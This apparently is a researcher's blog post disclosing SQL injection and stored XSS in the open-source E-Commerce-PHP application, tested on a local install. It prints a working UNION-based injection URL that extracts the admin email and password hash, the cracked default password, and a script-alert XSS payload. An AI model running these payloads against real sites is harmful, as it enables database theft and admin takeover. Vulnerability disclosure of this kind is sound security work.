I am Maloy Roy Orko.
Recently in one of my pentest research, I found an E-commerce PHP application By kurniaramadhan which is an open source E-commerce application using native PHP.
It is based on the scripting languages of PHP. E-commerce PHP is an e-commerce application developed using the native PHP programming language. Some of the technology stacks used in this application are.
Curious to explore its functionalities, I downloaded and set it up in my local system.
After fiddling with the source code, I found that it did not have any kind of SQL Injection protection.
It can lead into mass user data in risk and database leaks can be happened by hackers too and admin panel credentials were in risk too.
Even The Hackers Can easily store malicious JavaScript code simply from the admin panel as he can get the admin credentials by exploiting SQL Injection Vulnerability.
However,Any Attacker Can Easily Trigger Their Malicious Interests By Exploiting CSRF Vulnerability And Giving Malicious Links To The Users And Admins And Their Account Can Be Hampered In Both Users And Admin Account Case.Attacker Can Force Them To Do Anything As There Were No CSRF Protection.
But In This Blog I Will Discuss About SQL Injection To XSS Vulnerability Only. You Can Read About That CSRF Vulnerability Here.
The Main Thing Is,if any NON-IT personal uses this template,he will fall into this vulnerability and his companies reputation can be lost too.Thats why I am trying to inform everyone about this.
- Title of the Vulnerability: SQL Injection to XSS
- Vulnerability Class: SQL Injection & XSS
- Product Name: E-Commerce-PHP
- Vendor: https://github.com/kurniaramadhan/
- Vulnerable Product Link: https://github.com/kurniaramadhan/E-Commerce-PHP
- Technical Details & Description: The application source code is coded in a way which allows SQL Injection. This leads into mass user data in risk and database leaks can be happened by hackers too and admin panel credentials were in risk too.Even The Hackers Can easily store malicious JavaScript code simply from the admin panel as he can get the admin credentials by exploiting SQL Injection Vulnerability.
- Product & Service Introduction: Ecommerce-PHP-kurniaramadhan-1.0
Observation & Exploitation:
- Let's see the source code?
- You can see that there is no defense or filter against SQL Injection.Normally They are getting IDS and then fetching data From Database According to it.
- So Lets See ,How I exploited It? What is the exploitable parameter here?
- Actually,All the parameters of this website is VULNERABLE.
- Lets Take One Parameter As a example and then see the exploit use here!
- Vulnerable Place :
- http://192.168.1.100:8080/blog-details.php?blog_id=1+Malicious SQL Exploits
- So,Lets see an approach and the result?
- My Exploit For This Admin Credential Enumeration Was:
- http://192.168.1.100:8080/blog-details.php?blog_id=1+union+select+concat(admin_email,0x3a,0x3c62723e3c62723e3c2f623e41646d696e2050617373776f72643a3c2f623e,0x3c62723e,admin_password),2,3,4,5,6,7,8,9+from+admins--+
- Maybe 😏 you are thinking that as the admin password is encrypted,We can't login to admin panel? 😁
- You are wrong.
- I decrypted it from a decryption website.Lets see the result till logging in for XSS Injection.
So,Now we have Everything To Login.Even the admin panel path is also a known one!IT is /admin/- Admin Email: admin@gmail.com
- Encrypted Admin Password: 0287040c474dbf44cdeb17eebb99d828
- Decrypted Admin Password: admin1234567
- Lets Login .......! 😁
- Login Successful.Now Lets Chain XSS.
- Here we will simply create a product by going in this link: http://192.168.0.100:8080/admin/create_product.php
- Lets fill the boxes with XSS Payloads and see what happens? 😏🤝
- XSS Payload: <script>alert("Vulnerability Found By Maloy Roy Orko");</script>
- Lets, see the index page now 😁
- Guess What ? 😎😎 We found XSS 🤝
Video POC for SQL INJECTION to XSS :-
Conclusion :-
The main aim of this article is to show that if any NON-IT personal uses this template,he will fall into this vulnerability and his companies reputation can be lost too. But I also hope that it helps to give you ideas of how combining attacks can make them much more potent.
0 Comments